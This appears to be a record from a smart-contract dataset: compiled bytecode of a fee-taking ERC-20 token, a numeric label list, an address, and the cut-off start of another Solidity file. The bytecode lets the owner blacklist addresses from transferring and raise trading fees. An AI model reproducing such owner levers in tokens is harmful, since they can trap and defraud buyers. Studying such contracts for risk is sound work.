565b60ff16600a0a8302614209565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d8060008114611b1a576040519150601f19603f3d011682016040523d82523d6000602084013e611b1f565b606091505b50509050505050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b6000601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60175481565b600d60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c20613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ce2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611dad613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e6f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600d60006101000a81548160ff0219169083151502179055506001905090565b611e99613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b611fea613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b82601481905550816015819055508060168190555060165460155460145401016013819055506014601354111561214b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323025206f72206c65737300000081525060200191505060405180910390fd5b505050565b612158613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461221a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001811115612291576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f646f6e27742063617463682068756d616e73000000000000000000000000000081525060200191505060405180910390fd5b6001600d60026101000a81548160ff02191690831515021790555060011515601060019054906101000a900460ff16151514612335576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260048152602001807f646f6e650000000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000601060016101000a81548160ff021916908315150217905550612359816144bd565b7fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c47601060019054906101000a900460ff1660405180821515815260200191505060405180910390a150565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156124925780601f1061246757610100808354040283529160200191612492565b820191906000526020600020905b81548152906001019060200180831161247557829003601f168201915b5050505050905090565b6124a4613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612566576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561260d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526039815260200180614bf66039913960400191505060405180910390fd5b61261782826144e9565b5050565b60165481565b601d5481565b601a5481565b60006126f061263a613463565b846126eb85604051806060016040528060258152602001614ddf6025913960016000612664613463565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546141499092919063ffffffff16565b61346b565b6001905092915050565b600061270e612707613463565b8484613662565b6001905092915050565b612720613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6128aa613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461296c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156129f0576001600e600084848151811061298a57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808060010191505061296f565b5050565b602080528060005260406000206000915054906101000a900460ff1681565b600d60019054906101000a900460ff1681565b612a2e613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612af0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405180821515815260200191505060405180910390a25050565b612ba3613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c65576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b826018819055508160198190555080601a81905550601a54601954601854010160178190555060196017541115612d04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4d757374206b656570206665657320617420323525206f72206c65737300000081525060200191505060405180910390fd5b505050565b612d11613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400006103e86005612de9611412565b0281612df157fe5b0481612df957fe5b04811015612e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614bd26024913960400191505060405180910390fd5b670de0b6b3a76400008102600c8190555050565b601060009054906101000a900460ff1681565b600a5481565b6000612e89613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612f4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b620186a06001612f59611412565b0281612f6157fe5b04821015612fba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614caf6035913960400191505060405180910390fd5b6103e86005612fc7611412565b0281612fcf57fe5b04821115613028576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180614ce46034913960400191505060405180910390fd5b81600b8190555060019050919050565b60135481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b60006130d5613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613197576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60155481565b6131c7613463565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613289576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561330f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614b8a6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60195481565b600c5481565b600080828401905083811015613459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156134f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614dbb6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613577576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614bb06022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156136e8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614d966025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561376e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614b676023913960400191505060405180910390fd5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156138125750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61381b57600080fd5b6000811415613835576138308383600061458a565b614144565b600d60009054906101000a900460ff1615613c88576138526123a4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156138c057506138906123a4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156138f95750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015613933575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561394c5750600760149054906101000a900460ff16155b15613c8757600d60019054906101000a900460ff16613a7957601e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613a065750601e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613a78576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f54726164696e67206973206e6f74206163746976652e0000000000000000000081525060200191505060405180910390fd5b5b602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613b1c5750601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613b8157600a54811115613b7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526035815260200180614d186035913960400191505060405180910390fd5b613c86565b602060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613c245750601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c8557600a54811115613c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180614c796036913960400191505060405180910390fd5b5b5b5b5b6000613c9330611bd0565b90506000600b548210159050808015613cb85750600d60029054906101000a900460ff165b8015613cd15750600760149054906101000a900460ff16155b8015613d275750602060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613d7d5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613dd35750601e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613e17576001600760146101000a81548160ff021916908315150217905550613dfb61484b565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680613ecd5750601e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613ed757600090505b6000811561413457602060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613f3a57506000601754115b1561403057613f676064613f596017548861498190919063ffffffff16565b614a0790919063ffffffff16565b9050601754601954820281613f7857fe5b04601c60008282540192505081905550601754601a54820281613f9757fe5b04601d60008282540192505081905550601754601854820281613fb657fe5b04601b6000828254019250508190555060006002600a5481613fd457fe5b061461402b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180614c2f6024913960400191505060405180910390fd5b614119565b602060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561408b57506000601354115b15614118576140b860646140aa6013548861498190919063ffffffff16565b614a0790919063ffffffff16565b90506013546015548202816140c957fe5b04601c600082825401925050819055506013546016548202816140e857fe5b04601d6000828254019250508190555060135460145482028161410757fe5b04601b600082825401925050819055505b5b600081111561412e5761412d87308361458a565b5b80850394505b61413f87878761458a565b505050505b505050565b60008383111582906141f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156141bb5780820151818401526020810190506141a0565b50505050905090810190601f1680156141e85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6060600267ffffffffffffffff8111801561422357600080fd5b506040519080825280602002602001820160405280156142525781602001602082028036833780820191505090505b509050308160008151811061426357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561430557600080fd5b505afa158015614319573d6000803e3d6000fd5b505050506040513d602081101561432f57600080fd5b81019080805190602001909291905050508160018151811061434d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506143b430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461346b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561447857808201518184015260208101905061445d565b505050509050019650505050505050600060405180830381600087803b1580156144a157600080fd5b505af11580156144b5573d6000803e3d6000fd5b505050505050565b43601181905550806012819055506001600d60016101000a81548160ff02191690831515021790555050565b80602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415614610576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614d966025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614696576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614b676023913960400191505060405180910390fd5b6146a1838383614a51565b61470c81604051806060016040528060268152602001614c53602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546141499092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061479f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133db90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061485630611bd0565b90506000601d54601b54601c54010190506000808314806148775750600082145b156148845750505061497f565b6014600b540283111561489a576014600b540292505b6000600283601c548602816148ab57fe5b04816148b357fe5b04905060006148cb8286614a5690919063ffffffff16565b90506148d681614209565b6000601c819055506000601b819055506000601d81905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d806000811461496e576040519150601f19603f3d011682016040523d82523d6000602084013e614973565b606091505b50508093505050505050505b565b6000808314156149945760009050614a01565b60008284029050828482816149a557fe5b04146149fc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614d4d6021913960400191505060405180910390fd5b809150505b92915050565b6000614a4983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614aa0565b905092915050565b505050565b6000614a9883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614149565b905092915050565b60008083118290614b4c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614b11578082015181840152602081019050614af6565b50505050905090810190601f168015614b3e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614b5857fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20302e352554686520706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b657250616972734552524f523a204d757374206265206c657373207468616e206d61785478416d6f756e7445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553656c6c207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e20302e3030312520746f74616c20737570706c792e5377617020616d6f756e742063616e6e6f7420626520686967686572207468616e20302e352520746f74616c20737570706c792e427579207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74206c6f776572207468616e20302e3125a2646970667358221220d66b0087c421464b44917cd26180a479376188450b9b94a00c6e816d0670998c64736f6c63430007050033
[ 13, 4, 7 ]
0xf393f21e5241559616432bb3d7c6675d1b986f07
pragma solidity ^0.8.4; /* ▀▓]▓▄▄▓░▒░▓▐▌_▓▀▄µ▀]▓▄▄▓╬░░░░░╠╬░░╠╦░░░░░░░╬╬░╬╠░░░░░░░░░░░░░░░░░░░░▓▄╛░▄_,╓▌!░░ ▄▄▓▒▓▀░▌╨▒▓⌐▓▓▌▓▀▀█▓░▀▀░░╩╟░Å░░╠╬╬╬╬╦░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░╗'▀▄µ▀▓▓▀,└▄' ▒▄╠░░╬╠▀▌░▓▌╙▀╓▓░╫╨▒░░╠¼▒▒▌╨░░░░░░░╚╠▒▓▓▓▓▓▒╗░░░░░░φ░░░░░░░φ╬░╠╬░░,╙▓█╘▓ ▀,#▓_▀▓ ░▀▒╟▀▒▄╠▀▓▀▀▓█▓╠▀░╬µ▀▀▒▀╔⌠╔▒╬░░░░░╦▒▓▓▓▓▓▓▓▓▓▓▄ ░░░╙╠╦░φ╦░╠╬╬░░░░░▀▓⌐╔▌╙▌╓▀,"▓_▀ ▒Q▀╩╠░▒▄░╩░▒▒▒░╗φ▓▀▓▒░░╠▓▒▒▀▀░░░░╣▓▀░░░░░░░░░▀▓∩░ \░⌂╙╬╬╬╬╬░░░░QΓ▀▌▐▓┘▀∩╙▀╓▓µ▀▓▄ ▓╬░╬▓▒░╨▒▄▀░╦░╠▓▀░╨╠╬▓╬▓░╬▓░╩╩░░╣▓╬░░░░░░░░. ╫╬░" \"░`╚░╠╬░░░╬╬▓_▓_╓▌╙▓_╫▀_▓▄⌐█ ╢▓▓▓░▓▓░╨▀φ▒▓╦╫▌╩░╠░╠╫▓░╩╠░╬░╠╦╬▓▌╬░░░░░░░░░ ╙╬░ ░ .░ ░░░░░╣░░▓▄╙▀▀▐▌▐▓b▄▌⌠▐▓▄ ░▓░╬╩╬░▓╬╣▓▀╬▓▓░░░░░╠░░╩φ░░░░░╬▓▓╬╬▄▄▄░░░░░▄▄▄╦╠░ ░_'.' ░░░φ╣▒░▀▓▓▓▓▄▓µ╓█\▐▀▌▐▓ ╬╬╬░░░╠╫▓▓░╩╩╬Å╬░╠╬░░╩╩░╬╬╬░░░╠▓▓╬▓▓▓▓▓╬░░▒▓▓▓▒▒▌⌐░⌐'' ' !╬╬╬░╬▒▒╬▒╬░▓_▓▓▄▀▓⌐▓ . ╠╩░░░░╠░▓╬╬╫Ö╠╬╩░░╠░░φ░░░╩╠░░╠╬▓▓╬▓▓▓▓▓╬░░░╬╬▀░▀▓░░░ .~ ╚░╬╬╬╬░░░╬╬▓ ▀]▓▒╬▌▀▌█ ░░░░░░▐╬▀╬░╙_╠░φ╬░░░░░╬Γ░░░╬╬░╣▓▓░░░░░╬░░░░:░░░'╟Γ░░ ~:. ]▒╬╬╬░╠░░░╬▓▓▄▓▀╬╬▓_▓¬ ░Q╔╬╬╬░╬╬╬░╓φ░φ╬╬░░╠░░░╬╠╬░░╩╢▓▓▓╬╬░░▒▓▓▒▒░░░░░░▐░╠░ ░ '╫▌╬╬╬░░░░░╠░░░░░░▓▄,▓ ▒╬╬╬╠░░░░░╠░╠╬╨╬╬╬╬╬╬Γ░╬░╠╬░░░╣▓▓▌╬╬╬╬╬░░,.░░░░░╢░╠░_ ░... ░▀▒░░▒▌░░╠░╠▒░░╠░░▀▀░ ╬░░░░░░░░╬╬╠╩╟▒░╬╬╬╬╬░░░░░╬╠░░╫▓▓▓╬╬╣▓▀▀▀▀╨╨╩░░░╬░╬░ '░''' '╙▓▒▓▀▓░░╬▒▀░▌╠╬░╠╠░░ ░░░░░░░Γ╬░░░╫╬╬▒░╨╠╬╬░░╬╬░░░░░╬╬▓▓▓╬▒▒▒╬╩░░░░░░╣╬░╬░ '''~.~.░░▀Ü░▐▌▒▓▀░░Å▀▓╬░░╬▌ ░░╠╬▄░╩╫▄▒▒╬▒░╙▒▒╣╬╬╬╬╬╬╬╬░░░░╠╬╣▓▓▓▌╬╬╠φ░░░░▄▒▓░╟╬░_'..░░░░░░░░░░▀░░░░░░░▐▓▒╬▓░ ░░░▀▒▓▒▓╬▓╫▀╔▓▒╚╬╬╩▒╬▒╬╨╬╬░░╬░░╬╫▓▓▓▓╬▓▓▓▓▓▓▓▓▓▌Γ╬░░~.░░░░░░░░;▓▄░░░░╔▓█▄µ░░▐▓░░ ░░╢▒░╫▓½░░▒▒▌▄▀▒▄░▒░▓Ü▓▓╬╬╬╬╬░░╫╬╬▓▓▓╬╬╬╬╬╬╬╬╬▓▌░╬╬░_.░░.'░░╗▒▀░╬▌░░▒▌░▄░▓░░░░░░ ░╬▌╬▓░▄▓▓▓▀▀▒▓▌▀▀▓▀▌░▓▌▄▒▓▒▀░░░╬╬▓▒▀▓▓▓╬╬╬░╬╬╬▓▌░░╬░░░░░'.░░░Å░▄░▓▄░▓░▓▀░╫▄▓▄░░░ ▓▀▓▓▒▓▀▒▌░▓▓▌╨▓▓▌▓▓╬▓▓╫▓▀╬╠φ░░░╠╬╬╬╬▓▓▓╬╬╬╬╬╬╣▓╬░╠╩░':░ .░░░░░╣▄░╣▌╫▌░]▓░╠▀░▀▄░▓ ╨╓▐▓▄▓▓▓▓▓▌▀░∩╨╨▓▀▀▒╣╬╢╫▌╬╬░░φ░╬╠░╬╫▓╬▒╬░╬╬╬╬╬▓░░░Γ░░░░.░░░└╦░░░░╠▀▀░░▓]▌▐Ö▓░▓░▓ ╠▒╕╠▓▓▀'╬▀░╦▓▓▒╬░╬╬╣▀╩░▀╣╨╠╠░░░╫░░░░╬░░░░░░Γ░╬╬░░░░░░░░░░░░:╨╬╠╦░░╩░^▓▀▓ ▓]▓░╬▓▓ ▓▀▒⌐▀╨╠╬ φ▒▓▄▒▄▒▓╬▓▓▄▌▄∩░╔░╩^░╠░░:░░░;░░,░░░░╬╬░╠╬░░░░░░░░░░╠╦░╠╣░░░╬▌╫▌█▒▓░▄░╩╩ ▒▌▓╦φ╬▓▓╬╣▌▒▌╬╬▓▓▓▌▌Γ▓▀░Ç░╩░░░░░~.░░Γ░╟▒╠▒▒▓▌▓▓▌░░░░░░░░░░░░╨╬╦╦░╙╚░▒p▒ '╨▓▓▓▒▒ ▓▓▐▌▒▀▒▌▀▓░▓╬▓▌▓▓▌▓╬▓µ░╬ÿ┘Æ░░░░░░░░░╬.░╬╫▓▓▓▀▓╬░╢▓░░░'░░░░░░╠░╫▓▒╢▄░╬▒▌¼ _╙▀▌▓▓ 